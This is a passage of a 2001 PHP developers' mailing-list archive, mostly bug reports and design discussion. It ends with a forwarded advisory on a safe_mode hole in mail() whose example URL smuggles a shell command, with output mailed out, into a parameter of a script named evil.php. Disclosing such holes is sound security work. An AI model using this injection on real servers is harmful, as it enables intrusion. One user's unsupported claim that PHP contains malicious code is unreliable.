> find out sometime later that the banner ads never got displayed elsewhere,
> only on their development machine.  I will find it.  I don't feel spending
> my processor $$ on searching for the banner string.
>
> The calen

[PHP-DEV] Bug #11838 Updated: Apache crashed after PHP inicialization

2001-07-02 Thread derick


ID: 11838
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Reproducible crash
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Please add the backtrace that gdb showed.

Derick

Previous Comments:
---

[2001-07-02 12:06:03] [EMAIL PROTECTED]

Compiling Apache 1.3.20, PHP 4.0.6 and mod_ssl 2.8.4 (with OpenSSL/0.9.6a) produced 
correctly httpd, but when httpd is started (httpd with or without -DSSL), it generates 
/core file... - gdb says usefull informations...:-)

Version PHP4.0.5 and the same way works correctly.

PaJaSoft

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11838&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread pete


From: [EMAIL PROTECTED]
Operating system: Linux 2.4/RedHat 7.1
PHP version:  4.0.6
PHP Bug Type: Compile Problem
Bug description:  Can't find libjpeg after upgrade to 4.0.6

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure \
--with-apxs=/usr/sbin/apxs \
--with-gettext=no \
--with-pgsql \
--with-msql=/usr/local/Hughes \
--with-mnogosearch=/usr/local/mnogosearch \
--without-mysql \
--without-gd \
--with-xml \
--with-dom=shared,/usr/local \
--with-java=/usr/local/jdk1.2.2 \
--with-pdflib=/usr/local \
--with-pspell \
--enable-track-vars=yes \
--with-jpeg-dir=/usr \
--with-tiff-dir=/usr \
--with-zlib-dir=/usr \
--with-session=/tmp \
--enable-trans-sid




-- 
Edit Bug report at: http://bugs.php.net/?id=11840&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #10790 Updated: Cannot redeclare function/class from included file

2001-07-02 Thread christian . huff


ID: 10790
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: Scripting Engine problem
Operating system: Win2k,IIS5
PHP Version: 4.0.5
Description: Cannot redeclare function/class from included file

Then why does it work every second time??

Previous Comments:
---

[2001-06-16 13:01:17] [EMAIL PROTECTED]

The script of yours is buggy.
this is not the right forum to ask support questions.


---

[2001-05-13 17:36:43] [EMAIL PROTECTED]

Shall I post my configuration files? Just in case it might help with the 
reconstruction of that error...

---

[2001-05-10 12:25:26] [EMAIL PROTECTED]

Using include_once() does not make any difference.

---

[2001-05-10 11:50:27] [EMAIL PROTECTED]

What if you use include_once() instead of include() ?
Does it make any difference?

--Jani


---

[2001-05-10 10:57:59] [EMAIL PROTECTED]

Now this is what happens: I include a .php-file for database access via ODBC. While I 
was trying to make things 'easier', I stumbled across a problem: Classes and functions 
declared in an included file seem to work at first glance, but when reloaded, the 
declaration fails: 

Fatal error: Cannot redeclare class odbc_obj in E:Web-ProjekteTestodbc.php on line 5

If I move the declaration of the class into the index.php, the script complains about 
being unable to redeclare connexecute(). Reloading again after the error, the script 
works, but thereafter, it refuses again and so on and on.


--- odbc.php ---

$conn_id = odbc_pconnect ("TEST", "", "");
global $conn_id;

class odbc_obj {
var $result;
  
function set_rs ($res) {
$this->result = $res;
}

function out ($eingabe) {
$retval = odbc_result($this->result,$eingabe);
return $retval;
}
}

function ConnExecute($sql)
{
  global $conn_id,$did;
  $did = odbc_exec ($conn_id, $sql);

  $retval = new odbc_obj;
  $retval->set_rs ($did);
  return $retval;
}

--- index.php ---
include("odbc.php");

$sql = "";
$rs = ConnExecute($sql);


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=10790


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11839: hack? following is a discussion of the hack...... Is PHP the problem?????????

2001-07-02 Thread mlidd

From: [EMAIL PROTECTED]
Operating system: linux (redhat7.1)
PHP version:  4.0.6
PHP Bug Type: Unknown/Other Function
Bug description:  hack? following is a discussion of the hack.. Is PHP the 
problem?

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the funny problem

I use REDHAT 7.1 and whatever comes with it plus what needs to be loaded for eZPublish.

Everything works correctly on my test server: the browser (netscape 4.7+) displays the 
ad ok.  The client test machine in a win98 2nd ed with netscape and IE.  (I originally 
tested the client on the win machine so I could if IE displayed the site correctly.) 
Both browsers display the "problem" on the client machine.  So I don't think the 
problem on the client side.  It is not eZpublish.  So it has to be in the apache or 
the apache modules.  My guess is that it is in the PHP module. 

I tried one other case: I copied the print line in ezadlist and put it AFTER the ?> 
line WITHOUT the  print function name, the  (, ), and the ; .  The html was still 
commented out only on the remote browser.  I could have snooped (tcpdump on linux) the 
server output, but since I got in a  workaround, I figured I just wait until I had 
time to look into the PHP code.

Since you've been so helpfull :) I thought I'd let you know about the "joke" so you 
weren't caught unaware..

I am forwarding this mail exchange to the PHP group.  OK?

Mark

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the funny problem

Ah now you ARE getting it.  ezad doesn't do it, the php apache module does it.

any html tag "" with the /ad/ string gets commented out 
(<--! before  and !--> after) that gets sent to a remote client.

As I said if you changed the adlist to:
print  "" );

it still wouldn't work so it MUST be done in the PHP module.

using 
print( "" );

works fine as long as you do a softlink from /ezad to /ezadd. (notice I changed the 
/ad/ to /add/)

great huh, 

watch out for it.  Again I noticed this in php 4.0.6  I didn't test a remote client 
when I used php 4.0.5

At 04:27 PM 7/2/01 +0200, you wrote:
Hi Mark,

I don't understand how the eZ ad module can do this.. All it does is print a 
link with image like this:

print( "" 
);

Have I misunderstood something?

-- 
Bård Farstad
Systems developer
ez.no | developer.ez.no | zez.org

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the the funny problem

.

On the server, when I use the netscape client to view the "page source",  I see the 
correct HTML for the banner ad.  On a client,  with netscape (or IE) when I view the 
SAME PAGE source, I see the HTML line for the banner ad commented out.

I ran the following test: When I output anything with the 4 character string /ad/ , 
the html gets commented out.  I tested this with print and echo.  I also used several 
print statements outputing a letter at a time. The result is the same: the html with 
/ad/ ONLY when going to the client on another computer is commented out.

This is using php 4.0.6  that I downloaded from www.php.net site from the download link
http://www.php.net/do_download.php?download_file=php-4.0.6.tar.gz&source_site=www.php.net

and compiled myself.  I gave up looking for the module, figuring that a later PHP 
version won't have it.  My workaround is to change the line in adlist.php from /ad/ to 
/add/ and to put a softlink from ezad to ezadd.

Pretty conclusive to me.  watch for it.  PHP 4.x has a single point that all the 
output goes through.  My guess is that the malicious code is there.  In my PHP 4.0.6 
distribution anyway.

FYI
Mark

 At 09:10 AM 7/2/01 +0200, you wrote:
Hi,

not sure what problems you are having with the banner ads. They're not 
dependant on the host viewing the page. If you're using the current CVS then 
expect the code not to work (right now).

I've got a few things to fix in ezcalendargroup edit and then I'm done.  Everything is 
pretty slick.  I'll spend a day or so adding some content and should be on the net by 
wednesday at the earliest and monday at the latest.  After you get a chance to look at 
my site, I'll send you the code.

Mark

-- 
Bård Farstad
Systems developer
ez.no | developer.ez.no | zez.org

On Saturday 30 June 2001 21:16, you wrote:
> Sorry if I thought it was "you"  I think it is somewhere in the PHP code (I
> use 4.0.6).
> I'll spend another hour or so on it today.  Pretty funny if you think about
> it.   A person gets their stuff working and then puts it on the net only to
> find out sometime later that the banner ads never got displayed elsewhere,
> only on their development machine.  I will find it.  I don't feel spending
> my processor $$ on searching for the banner string.
>
> The calendar code is coming along nicely.   I just fixing a few minor
> problems.  I intend to get restarted on getting the production machine on
> the network.
>
>
> I think the I don't if you guys put it in the code or not but there is a
> problem.   Th

[PHP-DEV] Bug #11838: Apache crashed after PHP inicialization

2001-07-02 Thread janousek


From: [EMAIL PROTECTED]
Operating system: RedHat Linux 6.2
PHP version:  4.0.6
PHP Bug Type: Reproducible crash
Bug description:  Apache crashed after PHP inicialization

Compiling Apache 1.3.20, PHP 4.0.6 and mod_ssl 2.8.4 (with OpenSSL/0.9.6a) produced 
correctly httpd, but when httpd is started (httpd with or without -DSSL), it generates 
/core file... - gdb says usefull informations...:-)

Version PHP4.0.5 and the same way works correctly.

PaJaSoft


-- 
Edit Bug report at: http://bugs.php.net/?id=11838&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11679 Updated: crash on webserver start

2001-07-02 Thread jbell


ID: 11679
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Reproducible crash
Operating system: Yellow Dog Linux 2.0 - 2.2.19 PPC
PHP Version: 4.0.6
Description: crash on webserver start

I am not loading any of the shared libraries. Which ones do you see that are not 
supposed to be shared? I have tried building it again without anything shared and I 
get the same results.


Previous Comments:
---

[2001-06-27 13:49:42] [EMAIL PROTECTED]

You are using a lot configure options that can't be 'shared'. Also, try disabling the 
loaded extensions one by one in php.ini to find out with which is happens on.


---

[2001-06-26 09:58:52] [EMAIL PROTECTED]

Here is my config line: 

./configure --with-apxs=/usr/sbin/apxs 
--enable-pic 
--enable-shared 
--enable-inline-optimization 
--with-ldap=/usr 
--with-openssl=/usr 
--with-pgsql=/usr/local 
--with-mysql=/usr 
--with-imap=/usr 
--with-xml 
--with-aspell=/usr 
--with-gd=shared 
--enable-gd-native-ttf 
--with-png=shared 
--with-png-dir=/usr 
--with-jpeg=shared 
--with-jpeg-dir=/usr 
--with-freetype=shared 
--with-freetype-dir=/usr 
--with-zlib=shared 
--with-zlib-dir=/usr 
--with-pdflib=shared 
--with-readline 
--enable-ftp=shared 
--with-mcrypt=shared 
--with-mhash=shared 
--with-bz2=shared 
--with-db2=shared 
--with-db3=shared 
--with-kerberos=shared 
--with-regex=system 
--enable-track-vars 
--enable-magic-quotes 
--enable-debug 
--with-gdbm 
--enable-debugger 
--enable-sockets 
--enable-sysvsem 
--enable-sysvshm 
--enable-yp 
--enable-force-cgi-redirect 
--with-config-file-path=/etc/httpd/conf 

---

[2001-06-26 04:26:06] [EMAIL PROTECTED]

What is your configure line?

---

[2001-06-25 21:02:22] [EMAIL PROTECTED]

I get the following that I am unable to track down in my 
PHP compiling. If you can recomend any steps to help 
diagnoze this I woudl be glad to follow up. 

root@host:(/home/user/php-4.0.6)$ /sbin/service httpd 
restart
Shutting down http:   [  OK  ]
Starting httpd: Syntax error on line 251 of 
/etc/httpd/conf/httpd.conf:
Cannot load /etc/httpd/modules/libphp4.so into server: 
/etc/httpd/modules/libphp4.so: undefined symbol: unixdriver


Here is the gdb backtrace:

(gdb) run -X
Starting program: /usr/sbin/httpd -X
Cannot access memory at address 0xe2cb3d4
(gdb) bt
#0  _dl_debug_state () at dl-debug.c:56
#1  0xfe4c31c in _dl_close (_map=0x1007cf18) at 
dl-close.c:269
#2  0xfe4bc4c in _dl_open (file=0x10078d90 
"/etc/httpd/modules/libphp4.so",
mode=-2147483390, caller=0x0) at dl-open.c:407
#3  0xfe8d410 in dlopen_doit (a=0x7fffd7e8) at dlopen.c:39
#4  0x3000dcfc in _dl_catch_error (objname=0xfe9e380, 
errstring=0xfe9e384,
operate=0xfe8d3b8 , args=0x7fffd7e8) at 
dl-error.c:149
#5  0xfe8d910 in _dlerror_run (operate=0xfe8d3b8 
,
args=0x7fffd7e8) at dlerror.c:130
#6  0xfe8d46c in __dlopen_check (file=0xfe6be60 "", 
mode=268947176)
at dlopen.c:53
#7  0x10028f18 in ap_os_dso_load ()
#8  0x100078a8 in ap_get_server_built ()
#9  0x1000d888 in ap_clear_module_list ()
#10 0x1000e1e8 in ap_handle_command ()
#11 0x1000e258 in ap_srm_command_loop ()
#12 0x1000e89c in ap_process_resource_config ()
#13 0x1000f218 in ap_read_config ()
#14 0x1001a038 in main ()
#15 0xfd700f8 in __libc_start_main (argc=2, 
ubp_av=0x7a44,
ubp_ev=0x100810f0, auxvec=0x7ac4, 
rtld_fini=0xfe6be60 ,
stinfo=0x100443b0, stack_on_entry=0x3000e578)
at ../sysdeps/powerpc/elf/libc-start.c:119

Thank you for your time and I look forward to your 
response. 



---


Full Bug description available at: http://bugs.php.net/?id=11679


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11761 Updated: LC_CTYPE undeclared

2001-07-02 Thread unix-guy


ID: 11761
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: Compile Failure
Operating system: HP-UX 11.00
PHP Version: 4.0.6
Description: LC_CTYPE undeclared

I was able to work around the problem by adding:

#define HAVE_LOCALE_H 1

in main/php_config.h

However, I am still concerned at why that particular header file was not found.

Previous Comments:
---

[2001-06-29 20:40:11] [EMAIL PROTECTED]

User feedback (next time, use the WEB interface to answer):
---
I do have /usr/include/locale.h. In the php_config.h file, the only line
matching 'HAVE_LOCALE_H' is:

/* #undef HAVE_LOCALE_H */

Is configure not finding my header file?
---



---

[2001-06-29 17:48:56] [EMAIL PROTECTED]

I was able to work around the problem by adding:

#define HAVE_LOCALE_H 1

in main/php_config.h

However, I am still concerned at why that particular header file was not found.

---

[2001-06-29 17:14:05] [EMAIL PROTECTED]

I was able to work around the problem by adding:

#define HAVE_LOCALE_H 1

in main/php_config.h

However, I am still concerned at why that particular header file was not found.

---

[2001-06-29 17:12:30] [EMAIL PROTECTED]

I do have /usr/include/locale.h. In the php_config.h file, the only line matching 
'HAVE_LOCALE_H' is:

/* #undef HAVE_LOCALE_H */

Is configure not finding my header file?




---

[2001-06-28 11:33:59] [EMAIL PROTECTED]

Do you have /usr/include/locale.h ?
Can you find this line in php4/main/php_config.h:

#define HAVE_LOCALE_H 1



---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=11761


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread derick

On Mon, 2 Jul 2001, Cynic wrote:

> /me smells $@, $#, $$, $' and stuff. :|
> I don't really mind PHP being a bit verbose.

There is nothing wrong with being verbose of course, but there is a limit
on this. Writing 50 lines of code, and using in there around 20 times
$HTTP_SESSION_VARS or something like that can't be what PHP is intended
for. And the $__GET does not look like $@, $#, $$ or :| to me.

regards,
Derick

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;

2001-07-02 Thread Cynic


/me smells $@, $#, $$, $' and stuff. :|
I don't really mind PHP being a bit verbose.

At 15:10 7/2/2001, Zeev Suraski wrote the following:
-- 
>(a) I agree that the names are long
>(b) Remember that you can change the name by simply assigning it around (e.g., $GET_A 
>= $HTTP_GET_VARS)
>(c) I think that $GET_A is ugly :)  I'd go for something along the lines of $__GET
>(d) Having these variables available on every function means that it's going to slow 
>things down, so it's a no-no.  What we can do is do something along the lines of 
>$GLOBALS - where it is available in every function that *uses* it.  The drawback here 
>is that it means it will not be available via indirect reference (i.e., $foo = 
>"__GET", $$foo["bar"]).  I don't think it's a serious drawback though.
>
>Zeev
>
>At 15:07 2/7/2001, Derick Rethans wrote:
>>Hello list,
>>
>>sometimes I use PHP too, and today I noticed the things I described here.
>>Per coincidence, Jani, who is working on the new bugsystem, had the same
>>thoughts about this. I'll describe the problem now:
>>
>>All the arrays which hold the vars are not in de global name space, you
>>you will always need to use the "global" keyword, or something like
>>$GLOBALS["HTTP_SESSION_VARS"]["username"]; As you all can see, that's way
>>to long and cumbersome to type. Just see this example:
>>
>>global $HTTP_GET_VARS;
>>global $HTTP_POST_VARS;
>>global $HTTP_COOKIE_VARS;
>>
>>if( empty($HTTP_GET_VARS['PHPSESSID'])  &&
>>empty($HTTP_POST_VARS['PHPSESSID']) &&
>>empty($HTTP_COOKIE_VARS['PHPSESSID']) &&
>>!empty($sessid)
>>
>>I think this looks much better:
>>if ( empty ($GET_A['PHPSESSID']) &&
>> empty ($POST_A['PHPSESSID']) &&
>> empty ($COOKIE_A['PHPSESSID']) &&
>> !empty ($sessid))
>>
>>I propose to change the names of the arrays and to make these arrays
>>available in all functions, this will both eliminate the use of the global
>>keyword, and will shorten the names significantly. This will speed op
>>coding of course. Our proposal is to use the now second word of the array,
>>postfixed by _A (array).
>>
>>regards,
>>
>>Jani Taskinen
>>Derick Rethans
>>
>>
>>--
>>PHP Development Mailing List 
>>To unsubscribe, e-mail: [EMAIL PROTECTED]
>>For additional commands, e-mail: [EMAIL PROTECTED]
>>To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>--
>Zeev Suraski <[EMAIL PROTECTED]>
>CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/
>
>
>-- 
>PHP Development Mailing List 
>To unsubscribe, e-mail: [EMAIL PROTECTED]
>For additional commands, e-mail: [EMAIL PROTECTED]
>To contact the list administrators, e-mail: [EMAIL PROTECTED]
--end of quote-- 


[EMAIL PROTECTED]
-
And the eyes of them both were opened and they saw that their files
were world readable and writable, so they chmoded 600 their files.
- Book of Installation chapt 3 sec 7 


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file

2001-07-02 Thread cynic


ID: 11836
Updated by: cynic
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Suspended
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

yes, actual knowledge of the coding technics one uses never did any harm.

I'll leave this suspended as it's a featrue request (and not very likely to get 
satisfied)

Previous Comments:
---

[2001-07-02 10:53:29] [EMAIL PROTECTED]

It's a good idea. 
Thank you.
I still hope that require and include will works innner class declaration in future.

---

[2001-07-02 10:24:46] [EMAIL PROTECTED]

Why don't you move your common variables and methods to a separate class, and have 
your 200 classes extend it?

---

[2001-07-02 09:41:47] [EMAIL PROTECTED]

Not a bug, this was never supposed to work. making this a feature request.

Derick

---

[2001-07-02 09:39:39] [EMAIL PROTECTED]

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11836&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file

2001-07-02 Thread developer


ID: 11836
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: Feature/Change Request
Operating system: ms nt 4
PHP Version: 4.0.4pl1
Description: Require nor Include works inner a class file

It's a good idea. 
Thank you.
I still hope that require and include will works innner class declaration in future.

Previous Comments:
---

[2001-07-02 10:24:46] [EMAIL PROTECTED]

Why don't you move your common variables and methods to a separate class, and have 
your 200 classes extend it?

---

[2001-07-02 09:41:47] [EMAIL PROTECTED]

Not a bug, this was never supposed to work. making this a feature request.

Derick

---

[2001-07-02 09:39:39] [EMAIL PROTECTED]

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 



---


Full Bug description available at: http://bugs.php.net/?id=11836


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11836 Updated: Require nor Include works inner a class file

2001-07-02 Thread cardinal


ID: 11836
Updated by: cardinal
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

Why don't you move your common variables and methods to a separate class, and have 
your 200 classes extend it?

Previous Comments:
---

[2001-07-02 09:41:47] [EMAIL PROTECTED]

Not a bug, this was never supposed to work. making this a feature request.

Derick

---

[2001-07-02 09:39:39] [EMAIL PROTECTED]

Require nor Include works inner a class file.

I have 200+ classes that have a common declaration of variables and methods.
Everytime I need  to modify this declarations I have to modify this 200+ files.

If I could use require or include there I had only one file to modify.

This is the file where I define the class, it's only a LITTLE example:

= class_test.php =

  end  


And this is the file where I have the common declarations for 200+ files.

= common_declarations.php =
b++;
}
function common_method2 ($p=1) {
  $this->b=$p;
}
//etc
?>
=  end  =

This does not work, the error is:


Parse error:  parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or
`'}'' 



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11836&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11833 Updated: Unsufficient docs

2001-07-02 Thread danbeck


ID: 11833
Updated by: danbeck
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Documentation problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

It's very hard to understand what you are saying... please forgive us if we don't 
quite get your point.

Are you saying that the documentation is not clear as to which variables you can 
access using the $HTTP_ENV_VARS and $HTTP_SERVER_VARS.  If this is what you are 
asking, then please read the 3rd paragraph and the note that follows at:

http://php.net/manual/en/language.variables.predefined.php

The manual can not be an exhaustive resource for all predefined variables.  The best 
way to see exactly what is available to you is the check the output of the phpinfo() 
function.  It describes everthing you would need to know about the PHP environment and 
it's predefined variables in gratuitous detail.

Also, you specifically mention $PHP_SELF.  You say that it's not intuitive to be in 
HTTP_SERVER_VARS?  But it is.. it has noting to do with the system environment 
($HTTP_ENV_VARS), but everything to do with the server environment.  It's the filename 
part of the URI, not the actual filename on the server.

Previous Comments:
---

[2001-07-02 07:13:33] [EMAIL PROTECTED]

I don't agree.

I just disable register_global by setting it Off.

Now I can't acces simply $PHP_SELF - returned string is empty.
When I get $HTTP_SERVER_VARS["PHP_SELF"], the return string is such as the $PHP_SELF 
with register_global "On".

Maybe it isn't docs bug, but devel bug?

---

[2001-07-02 07:06:16] [EMAIL PROTECTED]

$PHP_SELF is not an environment variable, nor a server variable, it is a special PHP 
variable, so it wont be registered in any arrays you listed

---

[2001-07-02 06:53:24] [EMAIL PROTECTED]

There isn't enough information, from which assosiative array we can acces to 
predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in 
$HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) 
localization.

Regards

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11833&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11628 Updated: odbc_fetch_into is broken

2001-07-02 Thread kalowsky


ID: 11628
Updated by: kalowsky
Reported By: [EMAIL PROTECTED]
Status: Closed
Bug Type: ODBC related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

To answer the question submitted by the bug reporter:

odbc_fetch_into function can work with two different calls:

odbc_fetch_into($ress_id, $array)  
or
odbc_fetch_into($ress_id, $row, $array)

while the second way may work for you just fine and dandy, those using the first 
method were still broken.  in other words the $array variable is in a bad location and 
should NOT be considered "optional."  due to the internal structure of the PHP/Zend 
archictecture, there didn't seem to be any real way to force arg2 to be a reference 
when there were only 2 total arguements thus the answer was to force arg2 and arg3 
to both be references.  

As stated before, this function will change in 4.1, and you will be able to use 
constants again.

Previous Comments:
---

[2001-06-28 10:36:25] [EMAIL PROTECTED]

Sorry to be a pain here, but why does this now need to wait for 4.1? It worked 
perfectly in 4.0.5. Why is 4.0.6 different? I cannot think of a single reason why the 
row number needs to be passed as reference. I completely agree that *redesigning* the 
function should wait for 4.1, but I'm now stuck on 4.0.5 because a) its a lot of work 
to change my code for no particularly good reason, b) I can't be sure that I won't 
have to change it again in 4.0.7 Do I now have to write another layer of 
abstraction for the ODBC layer so that I can deal with these changes? I was a little 
unhappy with 4.0.5 complaining about &$row, but I could live with that - 10 second 
search and replace on 1 site. I've now got a bunch of live sites that I'll have to 
update so that the clients can upgrade to 4.0.6.
I fully understand - and support - the need to redesign functions. I fully *expect* 
there to be changes that need to be made on a major point release. But on minor point 
releases? Or have I completely missed the point here?

---

[2001-06-28 10:12:41] [EMAIL PROTECTED]

This function has to be redesigned but this has to wait 
for PHP 4.1.x release. At the moment this is the intented
behaviour. Not a bug. But expect this function to change
in PHP 4.1.x. Documentation will be updated soon.

--Jani


---

[2001-06-27 22:50:46] [EMAIL PROTECTED]

I really don't see the reason why the second parameter
should be passed by reference anyway. 

Dan, fix this. :)



---

[2001-06-27 10:24:21] [EMAIL PROTECTED]

right, i think a little background is called for.

4.0.x<5:
odbc_fetch_into($qid,1,&$row);

4.0.5:
odbc_fetch_into($qid,1,$row);

4.0.6
$i=1;
odbc_fetch_into($qid,$i,$row);

what has this got to do with the 3rd parameter? The need for the reference operator 
was removed in 4.0.5 and everything worked fine. why does the row number suddenly need 
to be passed by reference? its not like its going to be updated by odbc_fetch_into is 
it?

---

[2001-06-27 10:10:48] [EMAIL PROTECTED]

it is not broken. 

this functionality was changed to remove the need for the final variable to be a 
reference.  unfortunately due to the nature of the function, the final variable is 
ALWAYS required to be a reference.  this functionality will change in 4.1 to better 
reflect a more intelligent ordering of the variables and will allow your first example 
to work.

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11628&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Safe mode hole in mail()

2001-07-02 Thread derick


On Mon, 2 Jul 2001, Jan Lehnardt wrote:

> Hi,
> has this been recognized already? a quick look on the archives said no.

Yes, this is valid. I will fix this tonight. (The first problem)

Derick

>
> 
> Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
> Precedence: bulk
> List-Id: 
> List-Post: 
> List-Help: 
> List-Unsubscribe: 
> List-Subscribe: 
> Delivered-To: mailing list [EMAIL PROTECTED]
> Delivered-To: moderator for [EMAIL PROTECTED]
> Date: Sat, 30 Jun 2001 12:40:06 +0200
> From: Joost Pol <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: php breaks safe mode
> User-Agent: Mutt/1.2.5i
> X-Keywords:
> X-UID: 156
>
> Laberatoire Contempt
>
> Date : 12/06/2001
> Author   : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact   : Minor in most cases.
>
> Subject  : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
>  1.0 - Description of the problem
>
>   An extra 5th parameter was added to the mail() command breaking
> safemode:
>
>   - snippet of the code in mail.c (lines 156-165)
>
>   if (extra_cmd != NULL) {
>   sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
>   strcpy (sendmail_cmd, sendmail_path);
>   strcat (sendmail_cmd, " ");
>   strcat (sendmail_cmd, extra_cmd);
>   } else {
>   sendmail_cmd = sendmail_path;
> }
>   sendmail = popen(sendmail_cmd, "w");
>   }  }
>
>   - end of code snippet
>
>   The popen() function is the C library function popen(3).
>
>   An attacker could easily upload a simple evil.php script containing:
>
>   
>
>   Then the script could be invoked using a simple query like:
>
>   http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
